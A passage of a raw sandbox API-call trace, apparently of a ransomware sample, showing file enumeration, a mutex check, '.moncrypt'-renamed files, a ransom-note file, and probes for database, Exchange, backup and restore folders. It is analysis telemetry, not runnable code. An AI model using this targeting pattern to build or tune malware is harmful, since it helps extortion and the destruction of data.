lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0051.274] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.274] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.274] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.274] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.274] GlobalUnlock (hMem=0x44000c) returned 0 [0051.275] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.275] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.275] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.275] GlobalUnlock (hMem=0x44000c) returned 0 [0051.275] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.275] GlobalUnlock (hMem=0x440004) returned 0 [0051.275] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.275] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc96440, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fc96440, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fcbc5a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.275] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.275] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.275] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.275] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.275] GlobalUnlock (hMem=0x440004) returned 0 [0051.275] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.275] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.275] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.275] GlobalUnlock (hMem=0x440004) returned 0 [0051.275] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.275] GlobalUnlock (hMem=0x44000c) returned 0 [0051.275] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.275] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.275] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.275] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.275] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.275] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.275] GlobalUnlock (hMem=0x44000c) returned 0 [0051.275] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.275] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.275] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.275] GlobalUnlock (hMem=0x44000c) returned 0 [0051.276] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.276] GlobalUnlock (hMem=0x440004) returned 0 [0051.276] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.276] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7078, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.276] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.276] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.276] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.276] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.276] GlobalUnlock (hMem=0x440004) returned 0 [0051.276] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.276] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.276] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.276] GlobalUnlock (hMem=0x440004) returned 0 [0051.276] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.276] GlobalUnlock (hMem=0x44000c) returned 0 [0051.276] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.276] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7078, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.276] GetLastError () returned 0x12 [0051.276] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.277] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0051.277] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.277] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.277] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.277] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.277] GlobalUnlock (hMem=0x44000c) returned 0 [0051.277] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.277] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.277] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.277] GlobalUnlock (hMem=0x44000c) returned 0 [0051.277] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.277] GlobalUnlock (hMem=0x440004) returned 0 [0051.277] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.277] GlobalLock (hMem=0x440004) returned 0x550170 [0051.277] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.277] GlobalUnlock (hMem=0x440004) returned 0 [0051.277] GlobalLock (hMem=0x440004) returned 0x550170 [0051.277] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.277] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.277] GlobalUnlock (hMem=0x440004) returned 0 [0051.277] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.277] GlobalUnlock (hMem=0x44000c) returned 0 [0051.277] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.277] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE") returned 1 [0051.277] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.277] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.277] GlobalUnlock (hMem=0x44000c) returned 0 [0051.278] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.278] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.278] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.278] GlobalUnlock (hMem=0x44000c) returned 0 [0051.278] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.278] GlobalUnlock (hMem=0x440004) returned 0 [0051.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꟒RꞦR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.303] GetLastError () returned 0x3 [0051.303] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0051.304] GetLastError () returned 0x2 [0051.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0051.304] GetLastError () returned 0x2 [0051.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0051.305] GetLastError () returned 0x2 [0051.305] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18뭼R\x18j")) returned 0xffffffff [0051.305] GetLastError () returned 0x2 [0051.305] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0051.306] GetLastError () returned 0x2 [0051.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0051.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0051.306] GetLastError () returned 0x2 [0051.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0051.307] GetLastError () returned 0x2 [0051.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0051.307] GetLastError () returned 0x2 [0051.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.308] GetLastError () returned 0x2 [0051.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0051.308] GetLastError () returned 0x2 [0051.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.308] GlobalLock (hMem=0x440004) returned 0x550170 [0051.308] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.308] GlobalUnlock (hMem=0x440004) returned 0 [0051.308] GlobalLock (hMem=0x440004) returned 0x550170 [0051.308] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.308] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.309] GlobalUnlock (hMem=0x440004) returned 0 [0051.309] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.309] GlobalUnlock (hMem=0x44000c) returned 0 [0051.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.309] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.309] GetEnvironmentVariableA (in: 